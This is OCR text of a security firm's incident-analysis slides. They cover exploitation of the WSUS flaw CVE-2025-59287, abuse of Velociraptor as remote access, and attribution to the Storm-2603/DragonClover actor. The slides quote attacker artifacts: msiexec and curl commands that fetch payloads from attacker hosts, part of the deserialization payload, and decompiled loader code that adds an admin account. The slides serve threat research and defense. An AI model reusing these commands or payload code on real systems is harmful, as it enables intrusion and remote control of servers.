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Initial Analysis of the Incident (®) NTT Security

* One day, we detected two suspicious activities as alerts...

—{ explorer.exe ]

(
|

mmc.exe ] “...\mmc.exe” “C:\Program Files\.. \wsus.msc”

s~ 1.,

-M-

J msiexec ex:el-] msiexec /q /i
L ' hxxps|:]//royal-boat-bf05.qgtxtebl.workers[.]Jdev/v3.msi
—[ services.exe ]

4.| Velociraptor.exe “C:\Program Files\Velociraptor\Velociraptor.exe”
pror --config “C:\Program Files\Velociraptor\/client.config.yaml” service run
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Initial Analysis of the Incident (®) NTT Security

« We had found an article reported by Sophos

» About Initial Access was not stated

The threat actor used the Windows msiexec utility to download an installer (v2.msi] from a Cloudflare Workers
domain (files[ Jgaubctgal Jworkers[.]Jdev]. This location appears to be a staging folder for attacker tools,
including the Cloudflare tunneling tool and the Radmin remote administration tool. This file installed
Velociraptor, which is configured to communicate with C2 server velo[ lgaubctaal lworkers[ ldev. The attacker
then used an encoded PowerShell command to download Visual Studio Code [code exe] from the same staging
folder and executed it with the tunnel option enabled. The threat actor installed code.exe as a service and
redirected the output to a log file. They then used the msiexec Windows utility again to download additional

malware (sc.msi) from the workers[ ]dev folder (see Figure 1.

https://news.sophos.com/en-us/2025/08/26/velociraptor-incident-response-tool-abused-for-remote-access/
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Initial Analysis of the Incident (®) NTT Security

« Situation Review:
» Some behaviors and indicators closely align with the article reported by Sophos

» But the compromise did not appear to be progressing

» And it looked like the command-line to install MSI was caused by manual user interaction

explorer.exe ]

’L mmc.exe ] “...\mmc.exe” “C:\Program Files\...\wsus.msc”

msiexec /q /i

MSIEXec.exe ] hxxps[:]//royal-boat-bf05.qgtxtebl.workers[.]dev/v3.msi
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Deeper Analysis of the Incident ® NTT Security

* Question: The MSI Installation was manual Really?

> Itis important to reveal initial compromise for root cause solving

explorer.exe
I P ] Wsus — ,, .
= VVIn

mmc.exe ]“...\mmc.exe C:\Program Files\.. pwsus.msc’

|

: msiexec /q /i
'L msSiexec.exe

hxxps[:]//royal-boat-bf05.qgtxtebl.workers[.]Jdev/v3.msi
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Deeper Analysis of the Incident ®) NTTSecurity

« Afew days prior to the incident, we had recognized an article about CVE and its
POC related to WSUS

CVE-2025-59287 — WSUS Remote Code
Execution

Due to a version-related issue, the vulnerability was mentioned in the blog post with an incorrect CVE
number. The CVE number for this post is CVE-2023-35317, while the next post will correspond to CVE-.
2025-59287.

In this study, we will examine a critical vulnerability (CVE-2025-59287) discovered in the Microsoft
Windows Server Update Services (WSUS).environment. This vulnerability arises from the unsafe
deserialization of AuthorizationCookie objects sent to the GetCookie() ehdpoint, where encrypted cookie
data is decrypted using AES-128-CBC and subsequently deserialized through BinaryFormatter without
proper type validation, enabling remote code execution with SYSTEM privileges.

o\

https://hawktrace.com/blog/CVE-2025-59287
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Deeper Analysis of the Incident

(©) NTT Security

* Hypothesis: The root cause of the incident is CVE-2025-59287 exploit

@, Go over timeline log
[*.msi]

Vs

The command-line of
msiexec was found!

.

If the attack is RCE via WSUS,
evidence of RCE should be existed
prior to the process of wsus.msc

\

J

-

Based on our research,

Velociraptor should be deployed
from MSI file

~N
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Q, Go over alert history
and timeline log

~F

A different process of
Velociraptor was found!



Deeper Analysis of the Incident ® NTT Security

» As aresult, we discovered this process tree

» Unfortunately, this behavior didn’t been triggered as alerts

—[ services.exe ]
{WsusSe rvice.exe;i;

> cmd.exe “...\cmd.exe” /c nslookup wsus.ac.d189493a.digimg|[.]store
nslookup.exe “...\nslookup.exe” /c loglog.ac.d189493a.digimg].]store
([ _ 1 msiexec /q /i
. msiexec.exe ) hxxps[:)//royal-boat-bf05.qgtxtebl.workers[.]Jdev/v3.msi

© 2026 NTT Security Japan All Rights Reserved 9



Deeper Analysis of the Incident ®) NTTSecurity

* One of the pitfalls of hypothesis-based analysis is “Jumping to Conclusions”
 We’d concluded the incident as CVE-2025-59287 exploit from outside with &

sowce | Evidewe

The child processes indicated attacks was originated from WsusService.exe.

EDR > The process of wsus.msc was generated after this process tree.
The nslookup.exe was used to check whether the attacks is successful.

EDR : .
It is usually used in attacks from remote host.

EDR The windows server had remained running since before the patch release for CVE-2025-59287.

NW The customer’s external IP that connected a hosting server is exposed 8530 port (from Censys).
This port is default port of WSUS.

Ti A threat report by security vendor suggested that velociraptor was deployed via RCE.

https://blog.talosintelligence.com/velociraptor-leveraged-in-ransomware-attacks/
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Summary @ NTT Security

« We concluded that the incidents was by WSUS exploit (CVE-2025-59287),
and we’re able to notify the customer with appropriate severity
> Initially, it looked like user activity, no details of MSI file and no activity after starting the Velociraptor

» During analysis, no events linking WSUS exploit and Velociraptor had been reported

« To conclude RCE, evidence from NW device was also required (in our case)

» Correlation Analysis was helpful

« Bonus: The activity of wsus.msc is also related to CVE-2025-59287 [1][2]

Alternate chain - mmc.exe = cmd.exe when an admin opens WSUS

Admin Console or hits “Reset Server Node”

[1] https://x.com/M_haggis/status/1984016101790171425?s=19
[2] https://github.com/tecxx/CVE-2025-59287-WSUS
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Threat Actor on ourincident @ NTT Security

We've been tracking a threat actor related to our incident as

DragonClover

« China-nexus and financially motivated threat actor
* Aka Storm-2603, CL-CRI-1040, GOLD SALEM, Warlock Group

« DragonClover has been reported to exploit SharePoint, and more recently has
been exploiting WSUS

 In this chapter, we focus on the attack flow of the WSUS exploit campaign
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Publications of wsus Exploit Campaign

by Darktrace

by Bitdefender

Our Incident

by eSentire
(Updated on 10/30)

by Huntress

O—

(©) NTT Security
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Attack Flow in wsus Exploit Campaign @ NTT Securify

_“_ Main Hosting Server
S

L3

> = \elociraptor Server
T a—

Attacker

A Subsequent Hosting Server
B

2 Areas shown as semi-transparent and dashed are unobserved in our SOC
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Attack Flow in wsus Exploit Campaign @ NTT Securify

_“_ Main Hosting Server
S
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> = \elociraptor Server
T a—

Attacker

A Subsequent Hosting Server
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2 Areas shown as semi-transparent and dashed are unobserved in our SOC
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Origin

@ NTT Security

« DragonClover has tended to use SPN (Safing Privacy Network) recently

© safing.io

© 2026 NTT Security Japan All Rights Reserved

Download Features Pricing SPN About Wiki & FAQ

What Makes SPN A Better

Alternative to VPNs

VPN is an out-dated technology that was never intended to
protect your privacy. It simply swaps your one identity with one
different identity, creating only a minor obstacle for today’s
mass surveillance. SPN @ on the other hand is built from the
ground up and fully designed to protect your privacy. It gives
you multiple identities by default. Therefore we believe people
looking for privacy will prefer SPN.

September 6, 2022 + Written by Daniel

https://safing.io/blog/2022/09/06/spn-vs-vpns/
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Attack Flow in wsus Exploit Campaign @ NTT Securify

_“_ Main Hosting Server
S

L3

> = \elociraptor Server
T a—

Attacker

A Subsequent Hosting Server
B

2 Areas shown as semi-transparent and dashed are unobserved in our SOC
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WSUS Exploit (©) NTT Security

« CVE-2025-59287 is deserialization vulnerability in WSUS
« The attacker sends an HTTP POST request including the payload like below

Stage 1 payload
(base64 encoded)

[<Win32HResult>0</Win32HResult>
N LocalServer</AppName>.

l<ExtendedData>

l<MiscData soapenc:arrayType="xsd:string[2]">]

l<string>Administrator=SYSTEM</string>|

l<string>SynchronizationUpdateErrorsKey=&1t;SOAP-ENV: Envelope xmlns:xs http://www.w3.0rg/2001/XMLSchema-instance" xmlns:xsd="http}//www.w3.(d|
s :SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encqdingStyles
id="ref-1" xmlns:al ttp://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutra}%2C%20Pub]|
lationFormat" xmln http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Cultures3Dneut fal%s2C%20Py
let.DataSetName id="ref-3"&gt;&lt;/DataSet.DataSetName&gt;&1t;DataSet.Namespace href="#ref-3"/&gt;&lt;DataSet.Prefix href="#ref-3"/8gt;&1t;Dat
;1033&1t; /DataSet.LocalelLCID&gt; &Lt;DataSet.EnforceConstraints&gt; false&lt;/DataSet.EnforceConstraintségt; &l ataSet.ExtendedProp§rties xsi
les. Count&gt;&lt;DataSet.Tables_@ href="#ref-4"/&gt;&1t; /al:DataSet&gt ;&1t; SOAP-ENC:Array id="ref-4" xsi:type="SOAP-ENC:base64"&gt;AAEAAAD/// /|
WS 1dXRy YWwsIFB1YmxpY@tleVRva2VuPWI3N2E1YzU2MTkzNGUWODKFAQAAACFTeXNOZWOuV21uZG93cy5Gb3] tcy5BeEhvc3QrU3RhdGUBAAAAEVBYb3B1cnR5QmFnQmluYXI5BWICAA
[ZX] pYySMaXNOYDFbWINSCc3R1bS5PYmplY3Qs1G12Y29ybGLiLCBWZX] 2aWIuPTQuUMCAWL JASTEN1DbHR1cmU9bmV1dHIhbCwgUHVibGLJS2V5VGI rZWa9Y j c3YTVINTYXOTMOZTA40V1dA)
JACQUAAAAI BgAAAAKHAAAACQQAAAAICQAAAAKKAAAACQS AAAATDAAAAAOGBWMAAAABAQAAAAEAAAAHA G KNAAAADAJAAABAU3 1zdGVt L 1dvemtmbGI3LkNVDXBvbmVudE1vZGVsLCBWZXI 2|
JUEAAAAa IN5c3R1bS5Xb3] rZmxvdy50b21wb25 LbnRNb2R1bC5TZXI pYWxpemF@aWIuLkF j dG12aXR5U3VycmInYXR1U2Vs ZWNOb3 I rT2]qZWNeU3VycmInYXR1KO9iamVjdFN1ecmlhbG )
EMMKPMMCRAAAAABBQAAMOAAMJEOMMKSMAMOYMMEAAMCRMMMJFAAAAAEHMMBMAMKVMAACRYAMABCAMMOAMAJFwAAAAkYAAMAOkMMEAAAACRkAMAJGg

25zLkhhc2h@YW] sZQcAAAAKTGINZEZhY3Rv cgdWZXIzaW9uCENvbXBhcmVyEEhhc2hDb2R WUHI vdm LkZXI ISGFzaFNpemUES2VS cwZWYWx1 ZXMAAAMDAAUFCwgcU3 1zdGV tLKNvDbGx LY
CQMAAAATHWAAAAKGAAAADWOAAAAADAAAAK 12 KAADAAAABAAAAP / / AACAAAAAAAAAAE AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT AAAAAOHT 00ALQI 2SGAAUZNI VR

https://www.esentire.com/security-advisories/critical-windows-vulnerability-exploite d-cve-2025-5928 7
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Payload

jnhxtaOv.dll

blic E()

string s = "TVQQAAMAAAAEAAAA//SAALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAALfUgAATLAN
QAAAKKggGHB8If1AAAACFECEXAAAGDQk sG3I4FQBWEgNyyBQACCimAAAKKCMAAAOOKQAACEE FDAI7EGAABGSZpwAACig1AAAGDQkSG3KYFQ
WgB012wlWgDQl2wlWgEwl2wlWgGAl2wlWgC4e2wlWgBcd2wlWgBkg2wlWgN4c2wlWgl Im2wlWgBAd2wlWgPEe2wlWgBOm2wlWgKIF2wlWgKy
ZAAKAGgAIABSACQACAAKAHQAJAB4AACEATAAOATAAKACEACEAIAAOATWAKACQACEA1AAOATgAMACCADAAOAAWAKQAMACOADAArAAWALAAOAC
JTOV4AY2VwdGlvbgBXZWIFeGN1cHRpb24ASWS2YWxpZEOwZXIhdGlvbkV4Y2VwdG1lvbgBIdHRWUMVXdWVZdEVAY2VwdGlvbgBnZXRFU3RhdH!
AcwBOAGUAbgBpAG4AZWAgAFQAQWBQACAAYWBVAG4AAbgB1AGMAdABpAG8AbgBZACAAKABLAHgAYWBSAHUAZABPAGAAZWAGADEAMEgA3ACAAMA)
SIEN1bHR1cmU9bmV1dHIhbCwgUHVibG1ljS2V5VGOrZW49Yjc3YTVINTYXOTMOZTA40RUBVAIQU2tpcFZ1cmlmaWNhdGlvbgEBAWIeAQECAE
try

{

byte[] rawAssembly = Convert.FromBase64String(s);
Assembly assembly = Assembly.Load(rawAssembly);
Type type = assembly.GetType("uk.London");

(©) NTT Security

The observed/reported payload is used for installing msi from the internet

vskp2.exe

¥

MethodInfo method = type.GetMet! - 5 PurTte)s
string[] array = new string[1] "msiexec /q /i https://royal-boat-bf@5.qgtxtebl.workers.dev/v3.msi"
object obj = method.Invoke(null, a3 o

PERY

PROCESS_INFORMATION lpProcessInformation§= default(PROCESS_INFORMATION);
STARTUPINFO lpStartupInfo
1pstartupInfo
1pStartupInfo
1pStartupInfo
1pStartupInfo
1pstartupInfo

"

ipeAttributes.pSecurityDescriptor
ipeAttributes.bInheritHandle = 1;
atePipe(out var hReadPipe, out var h

IntPtr.Zero;

itePipe, ref lpPipeAttributes, 1024);

= default(STAR
.cb = Marshal.sizeOf(1pStartiInfo);
.hStdError = hWritePipe;
.hStdoutput = hWritePipe;
.LpDesktop = "WinStae\\Defaul
.dwFlags = 257;

. .

"

1 > ¥
iq‘(CreatePrecessAsUser(token, null, args[@], IntPtr.Zero, IntPtr.Zero, bInheritHandles: tru

text = text + "[+] process created:" + lpProcessInformation.dwProcessId;
Thread thread3 = new Thread(ReadThread);
thread3.IsBackground = true;

thread3.Start(hReadPipe);

© 2026 NTT Security Japan All Rights Reserved
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Payload @ NTT Security

* The embedded payload has also implementation for PetitPotam
(EfsPotato-like)

|5tring text2 = "lsarpc";l

vskp2.exe /

private static void RpcThread(object o)
(1 {
object[] obj = o as object[];
string text = obj[@] as string;

EfsrTiny efsrTiny = new EfsrTiny(obj[1] as string);

try
{
efsrTiny.EfsRpcEncryptFileSrv("\\\\localhost/PIPE/" + text + "/\\" + text + "\\" + text);
}
catch (Exception value)
{
Console.WriteLine(value);
¥

}

https://qithub.com/zcgonvh/Efs Potato/

© 2026 NTT Security Japan All Rights Reserved 21


https://github.com/zcgonvh/EfsPotato/

Attack Flow in wsus Exploit Campaign @ NTT Securify

Q _“_ Main Hosting Server
]

&

~

L3

> = \elociraptor Server
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o

2 Areas shown as semi-transparent and dashed are unobserved in our SOC
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Velociraptor Installer (®) NTT Security

* Velociraptor is installed as a service on a target machine

» Velociraptor is DFIR tool and is abused as RMM tool in attacks

» More details mentioned in next chapter

[ i-C O

File Edit Tables Transform Tools View Help

Ded {2 FT=B B

Tables ~ | Servicelnstall Name DisplayName ServiceType StartType StartName Arguments Component_ Description
Servicelnstaller Velociraptor Velociraptor Service 16 2 LocalSystem --config "[INSTALLDIR])/client.config.yaml" service run MainExecutable Velociraptor Service

Signature

Upgrade

WixRemoveFolderex

© 2026 NTT Security Japan All Rights Reserved 23



Attack Flow in wsus Exploit Campaign @ NTT Securify

_“_ Main Hosting Server
]

&

~
/\\

Attacker Victim Server ~

L3

> = \elociraptor Server
T a—

i

A Subsequent Hosting Server
B

2 Areas shown as semi-transparent and dashed are unobserved in our SOC
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Others from Main Hosting Server (®) NTT Security

» It seems that some binaries were hosted in main hosting server
» These are used for Tunnelling and Remote Access => LOLRMM [1], LOTTunnels [2]

» Most of them are trusted binaries => BYOTB [3]

/cf.msi /code.txt /sc.msi /ssh.msi

Cloudflared VSCode SecurityCheck OpenSSH

[1] https://lolrmm.io/
[2] https://lottunnels.qithub.io/
[3] hitps://labs.jumpsec.com/bring-your-own-trusted-binary-byotb-bsides-edition/
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SecurityCheck (©) NTT Security

« (Golang-based binary with the following capability

Z Q 040d7ee5b7bb0b978220be326804fa827f6284c8478a27af88c616fcacfebs23

Comments (2) ©®

AngaraMTDR
] 21daysago

Private tool from Warlock ransomeware group.

Has client and server functionality, may installed as Windows Service.
Used for tunneling in websocket to compromised computers.

Internal name wsock

Written on Golang and uses gorillz

© 2026 NTT Security Japan All Rights Reserved 26



SecurityCheck (©) NTT Security

* Previous version of it has been reported by Sophos [1]

curl -L -o c:\\users\\public\\Sophos\\Sophos-UI.exe hxxps[:]//filebin][. ]net/j7jqfnh8tndalzsr/wsocks.exe. txt

Dependencies: Functions:
- gorilla/websocket - main.main - main.(*muxSession).GetConn
- xtaci/smux - main.runClient - main.(*muxStreamConn).***
- main.runServer - main.(*mwsListener).***
N main.MWSListener - main.(*mwsTransporter).***
[“multiplex-websooket” [2] J - main.parseSocks5Request - main.(*websocketConn).***
- main.handleSocks5Conn
- main.handleClientConn

[1] https://www.sophos.com/fr-fr/blog/gold-salems-warlock-operation-joins-busy-ransomware-landscape
[2] https://github.com/ginuerzh/gost
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SecurityCheck @ NTT Security

« For example, functionality to run as a Windows service was added.

» Service Name, Display Name and Description is “Security State Check’

» Apart of strings for added usage functions is "Usage: wsocks ...

Dependencies: Functions:
- gorilla/websocket - main.main - main.(*muxSession).GetConn
- xtaci/smux - main.runClient - main.(*muxStreamConn).***
“X - et Server - main.(*mwsListener).***
+ kardianos/service - main.MWSListener - main.(*mwsTransporter).**
[*’ x/sys J - main.parseSocks5Request - main.(*websocketConn).***
- main.handleSocks5Conn
- main.handleClientConn (mm).Start/Stop

+ main.(*program).runServer
+ main.printUsage / printServiceUsage

+ main.(*mwsListener).Accept
© 2026 NTT Security Japan All Rights Reserved 28




Attack Flow in wsus Exploit Campaign @ NTT Securify
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2 Areas shown as semi-transparent and dashed are unobserved in our SOC
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Subsequent Activity (®) NTT Security

« Case 1: Skuld Stealer was deployed for information exfiltration [1]

!l /bin.msi
e Q
Victim Server Skuld Stealer Hosting Server
Atera Agent

« Case 2: Only reconnaissance by using PowerShell via Velociraptor [2]

“...\net.exe” group “domain computers” /do, “...¥quser.exe”, “...\ipconfig.exe” /al, etc.

« Case 3: VSCode was deployed using PowerShell via Velociraptor [3]

[1] https://www.darktrace.com/blog/wsus-exploite d-darktraces-analysis-of-post-exploitation-activities-relate d-to-cve-2025-5928 7
[2] https://www.huntress.com/blog/velociraptor-misuse-part-one-wsus-up
[3] https://www.fortra.com/blog/velociraptor-dfir-tool-abused-wsus-rce-cve-2025-59287
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Subsequent Activity (®) NTT Security

« Case 4: Velociraptor was on multiple endpoints, widely compromised, and the
tools below were used

Cloudflared VSCode TightVNC SecurityCheck Warlock Ransomware

- e m REm R M e REm R M M REm REm M M REm Mm R M R Em R M e REm R M R R MEm M e e REm R M e e R M e e e e e e

- It's unclear if the initial access vector of this incident was WSUS vulnerability

- But a part of note that was created by a decryptor tool said:
“The vulnerabilities in your enterprise exist in WSUS..."

— e e e S R R M M e e M S M R e M M M R e M M M e R M M G e M M R M e M M M G e M M e e e e e e e

Incident 3 in https://www.huntress.com/blog/velociraptor-misuse-part-two-eye-of-the-storm
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mt Actor on ourincident @ NTT Securi’ry

We've been tracking a threat actor related to our incident as

DragonClover

« China-nexus and financially motivated threat actor
« Aka Storm-2603, CL-CRI-1040, GOLD SALEM, Warlock Group

« DragonClover has been reported to exploit SharePoint, and more recently has
been exploiting WSUS

 In this chapter, we focus on the attack flow of the WSUS exploit campaign
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Storm-2603 (©) NTT Security

« Storm-2603 was identified as the first by Microsoft 65.38.121[]198

update.updatemicfosoft[.]Jcom

L

il il
{}
/ L2 Fast Reverse Proxy
WebShell __
o
SharePoint Exploit # Efg
. — LockBit|Ransomware
\ T 4 S _ & |
| 69
Storm-2603 \__ SharePoint Server Lo
Warlock Ransomware

https://www.microsoft.com/en-us/security/blog/2025/07 /22/dis ru pting-active-exploitation-of-on-premises-share point-vulnerabilities/
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Timeline around Storm-2603
Identical Threat Actor ? /‘fq

(©) NTT Security

/ Velociraptor >

GOLD SALEM —

update.updatemicfosoft[.Jcom

~==1
N,
N,
N,

» WSUS
i Exploit
| Campaign
o Y s
Backdoor X2anylock < Ransom Note
SharePoint Exploit
I I I I I I I I I N
I I I I I I I I I
2025/03 04 05 06 07 08 09 10 11
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Factors for Attribution @ NTT SeCUI’iTy

1. Velociraptor Configuration

2. Hosting Server IP

3. AccountName in Payload & Hosting Domain
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1. Velociraptor Configuration

2. Hosting Server IP

3. AccountName in Payload & Hosting Domain
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Velociraptor Configuration (®) NTT Security

« “open-source endpoint monitoring, digital forensic and cyber response platform”

 Typical deployment model is client-server mode

[ Accessing web-based admin console ]

: 2

— Clients

Administrator Server

[ C2 communim

https://docs.velociraptor.app/docs/deployment/
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Velociraptor Configuration (®) NTT Security

« “Every Velociraptor deployments creates an internal PKI”
» (CA) private key, CA certificate and server certificate are generated

» The CA certificate is embedded in client’s configuration and is used to verify the server
server.config.yaml client.config.yaml

: velociraptor

- https://localhost: 8000/
P

https://docs.velociraptor.app/docs/deployment/server/key concepts/
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Velociraptor Configuration (®) NTT Security

« Summary:
» Clients that share the same CA certificate belong to the same Velociraptor deployment

» Typically, a Velociraptor deployment is managed by one organization (= actor)

“ Velociraptor C2 Server Hosting Server

v.msi v-api.micorsoft[.]Jnet stoaccinfoniqaveeambkp.blob.core.windows|.]net

stoaccinfoniqaveeambkp.blob.core.windows[.]net

v2.msi velo.gaubctgg.workers|.]dev files.qaubctgg.workers[.Jdev

v3.msi chat.hcghajfv.workers|.]dev royal-boat-bf05.qgtxtebl.workers[.]Jdev
, update.githubtestbak.workers[.]Jdev Lpieedl] b(_)wpxyy.workers[.]dev

v4.msi s3.wasabisys|.Jcom

Allin el e SR vdfccjpnedujhrzscijtq.supabase[.]co
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Velociraptor Configuration (®) NTT Security

« Threat Actor has continuously abused Velociraptor while changing domains of
velociraptor C2 and hosting server

4 SharePoint Exploit ) 4 WSUS Exploit )
_ N Y
)

| | («
| [ ))
2025/02 03 08 09 10 11
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Velociraptor Configuration

* Bonus: An exceptional installer (v3.msi) was found

Data

[Binary Data]
[Binary Data]
[Binary Data]
[Binary Data]

Tables Name
ActionText banner.jpg
AdminExecuteSequence tabback
AdminUlSequence aicustact.dll

ActExecuteSequence dialag.sug
Binary cmd.exe

[Binary Data]

BootstrapperUlSequence

cmdlinkarrow

(©) NTT Security

Dialog

Directory

Al_SHOW _LOG

cmd.exe

Al_InstallModeCheck 1

[Binary Data]
CharkBay hannar crala125 ina [RBinare Datal \
Tables Action Type Source \ Target
CreateFolder AlLSET_ADMIN 51 Al_ADMIN 1

65 alcustact.dll

LaunchLogFile

© msiexec /x {2D2AA83B-B74D-44C2-9D0B-1810BC8C470C} /gn & timeout 10 &

/
aicustact.dll pdatemstalmode

/c msiexec /x {2D2AA83B-B74D-44C2-9D0B-1810BC9C470C} /gn & timeout 10

& msiexec /q /i https[:]//upload.jpowpxyy.workers[.]dev/v4.msi

© 2026 NTT Security Japan All Rights Reserved
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Velociraptor Configuration (®) NTT Security

REDACTED
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Factors for Attribution @ NTT SeCUI’iTy

1. Velociraptor Configuration

» The use of Velociraptor clients belong to the same Velociraptor deployment suggests that these
incidents were carried out by the same actor (mainly GOLD SALEM, associated with Storm-2603).

2. Hosting Server IP

3. AccountName in Payload & Hosting Domain
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Factors for Attribution @ NTT SeCUI‘iTy

1. Velociraptor Configuration

» The use of Velociraptor clients belong to the same Velociraptor deployment suggests that these
incidents were carried out by the same actor (mainly GOLD SALEM, associated with Storm-2603).

2. Hosting Server IP

3. AccountName in Payload & Hosting Domain
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Hosting Server IP (©) NTT Security

« Error page on the URL we observed in our incident

msserver1.chickenkiller.com | x =r

c 25! royal-boat-bf05.qgtxtebl.workers.dev/v3.msi

Connection timed out s

Visit cloudflare.com for more information.

2025-10-28 08:06:51 UTC

o

You San Jose msserver.chickenkillercom

Cloudflare
Error
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Hosting Server IP @ NTT Security

 The resolved IP Indicates what used for C2 related to “SharePoint attack”

: No security vendo this IP address as malicious Comments (1) G‘)

162.252.199.85 (162.252.198.0/23)
, ABsec2025
AS 399629 ( BLNWX)
=] 1 month ago

C2 domain for SharePoint attack following the CVE-2025-53770
DETECTION DETAILS RELATIONS COMMUNITY © 2

Join our Community and enjoy additional community insights and crowdsourced detections, plus an APl key to a

Passive DNS Replication (1) ©

Date resolved Detections Resolver Domain
2025-10-09 /95 VirusTotal msserverl.chickenkiller.com
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Hosting Server IP (©) NTT Security

« The resolved IP is in AS 399629 (BLNWX) that is occasionally seen in articles
related to Storm-2603

In July

By Microsoft

For C2 IP

Without Velociraptor

Fast reverse proxy tool used to connect to C2 IP
65.38.121[.]198

162.252.199.85 (162.252.198.0/23)

AS 399629 (BLNWX) $uploadScriptBlock = {
($file, $grvalue)
{
Add-Type -AssemblyName System.Web
$TileName = Spl ath -Path $file -Leaf
$encodedFiteName = ::UrlEncode($fileName)
$uploadurl = 5 $encodedFileName

In August

By Talos
For C2/Exfiltration IP
With Velociraptor

$tite $UPTOadUuTL

https://www.microsoft.com/en-us/security/blog/2025/07 /22/disru pting-active-exploitation-of-on-premises-share point-vulnerabilities/
https://blog.talosintelligence.com/velociraptor-leveraged-in-ransomware-attacks/
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Factors for Attribution @ NTT Securi’ry

1. Velociraptor Configuration

» The use of Velociraptor clients belong to the same Velociraptor deployment suggests that these
incidents were carried out by the same actor (mainly GOLD SALEM, associated with Storm-2603).

2. Hosting Server IP

» Domain/IP used in our incident relates to SharePoint Exploit

> The ASN of the IP is the same as that of the C2 server used in Storm-2603’s incidents

3. AccountName in Payload & Hosting Domain
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Factors for Attribution @ NTT SeCUI‘iTy

1. Velociraptor Configuration

» The use of Velociraptor clients belong to the same Velociraptor deployment suggests that these
incidents were carried out by the same actor (mainly GOLD SALEM, associated with Storm-2603).

2. Hosting Server IP

» Domain/IP used in our incident relates to SharePoint Exploit

> The ASN of the IP is the same as that of the C2 server used in Storm-2603’s incidents

3. AccountName in Payload & Hosting Domain
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AccountName & Hosting Domain (®) NTT Security

« The payload that was used in WSUS Exploit Campaign uses specific account
name in one of C2 commands

vskp2.exe

public unsafe static string Add()
=h

string text = "";

SAMStructs.UnicodeString serverName = new SAMStructs.UnicodeString("localhost");
SAMStructs.UnicodeString AccountName = new SAMStPucts.UnicodeString("adminbak2")t

(new SAMStructs.UnicodeString[1])[@] = new SAMStructs.UnicodeString("administrators");
IntPtr domainHandle = IntPtr.Zero;

IntPtr UserHandle = IntPtr.Zero;
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AccountName & Hosting Domain

(©) NTT Security

* The account name was described in incidents that Velociraptor was used

« The same hosting domain observed in our incident was used in Incident 1,2

Incident 1

Incident 3

/ Initial Access \

/Used Account Namh

Post-Exploitation

\

@ - Q
(SharePoint Exploit) adminbak2 oudflare .

/
4/ \
> - ©, B
h

? adminbak

\ N Y, )

https ://www.huntress.com/blog/velociraptor-misuse-part-two-eye-of-the-storm
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Factors for Attribution @ NTT Securi’ry

1. Velociraptor Configuration

» The use of Velociraptor clients belong to the same Velociraptor deployment suggests that these
incidents were carried out by the same actor (mainly GOLD SALEM, associated with Storm-2603).

2. Hosting Server IP

» Domain/IP used in our incident relates to SharePoint Exploit

> The ASN of the IP is the same as that of the C2 server used in Storm-2603’s incidents

3. AccountName in Payload & Hosting Domain

» The account name hardcoded in the payload and the same hosting domain
(royal-boat-bf05.qgtxtebl.workers[.]Jdev) as ours were used in incidents likely attributed to Storm-2603
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Timeline after Attribution @ NTT Securify

/DragonCIover ______

GOLD SALEM

update.updatemicfosoft[.Jcom Gladinet CentreStack

N
‘ —————————————— Storm-2603

WebShell

2025/03 04 05 06 07 08 09 10 11

v
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Notable Recent Activity (®) NTT Security

« “an incident involving the expoitation of Gladinet Centrestack”

s3.wasabisys[.]Jcom files.catbox[.]Jmoe

. . »
HiddenGhOst °
Zoho Assist
Qo Y i
N\

?
.; Reconnaissance
_——
\ | 4 @ e

CentreStack Server

- J

y

https://blackpointcyber.com/blog/jurassic-soc-when-velociraptor-gets-hijacked/
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Notable Recent Activity

(©) NTT Security

« We analysed the Zoho Assist (Onem4w.msi) in ANY.RUN

ﬁ Zoho Assist Unattended Agent

Please y=it

githubtestbak@proton.me

S X

Installing Zoho Assist Unattended Agent

Zoho Assist Unattended Agent is being installed.

configured for Unattended Access by

Back Next Cancel

Velociraptor (v4.msi) C2 in this incident:
auth.qgtxtebl.workers[.]Jdev

Previous Velociraptor (v4.msi) C2:
updatel githubtestbak.workers[.]dev
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Diamond Model for DragonClover

ADVERSARY

v" China-nexus threat actor

v' Group: Storm-2603, GOLD SALEM,
CL-CRI-1040, Warlock Group

A\ Technical Axis
v" RCE against several [IS-hosted services

(©) NTT Security

Social-Political Axis
v" Financial interests and incentives

CAPABILITY

v Tools:
* Warlock, LockBit and Babuk ransomware
» SecurityCheck (wsocks)
* VMTools AV killer
v' Dual Use Tool:
+ Mimikatz, PsExec, Impacket and more
v RMM / Tunneling Tool:

* Velociraptor, Cloudflared, VSCode and more VICTIM

INFRASTRUCTURE

v' C2 / Hosting Server:
» Cloudflare Workers
+ AS 399629
* Microsoft-lookalike domain

+ Cloud storage services (e.g., Azure Blob,
Wasabi, Supabase)

* File sharing services (e.g., Filebin, Catbox)
v' Exploit Source:

Various organizations in various countries * SPN

(including Japan)
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Takeaways @ NTT Security

« Daily information gathering unexpectedly bears fruit, inspiring breakthroughs

« DragonClover is serious threat
» Active at least from March 2025
» They have made multiple RCE successful (SharePoint, WSUS, CentreStack)

» Unusual malwares have been observed in their post-exploitation activities

« Velociraptor is just one of the legitimate tools that can be used for RMM
» Other DFIR tools, EDR, and the like can also be abused (ex. Wazuh [1], CrowdStrike [2])

[1] https://securelist.com/miner-campaign-misuses-open-source-siem-agent/114022/
[2] https://cloud.google.com/blog/topics/threat-intelligence/unc3944-targets-saas-applications?hl=en
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Appendix 1. Indicator of Compromise (®) NTT Security

_____ Descripton | Arifact

Velociraptor 12f177290a299bae8a363f47775fb99f305bbdd 56bbdfddb39595b43112f9fb7

aB84edaa8cdf3f0884 3380c5275872e9303bcf93360629d3946eae5 136428143
649bdaa38e60ede6d140bd54ca54 12f1091 186a803d3905465219053393f6421
Velociraptor Installer 8b3d49e328ddc0d9ec087 89e3db2f5c3da54d04efdaa746f4e68858448d5e5de
7987 5ba9c08aafc55f3ef78b44883708d58f3db456d2c842a318d01744a3e7e7
46831be6e577e3120084ee992168cca5af2047d4a08e3fd6 7ecd90396393b751

v-api.micorsoft[.Jnet
velo.qaubctgg.workers|.]dev
Velociraptor C2 Server chat.hcghajfv.workers[.]dev
update.githubtestbak.workers[.]Jdev
auth.qgtxtebl.workers[.]dev

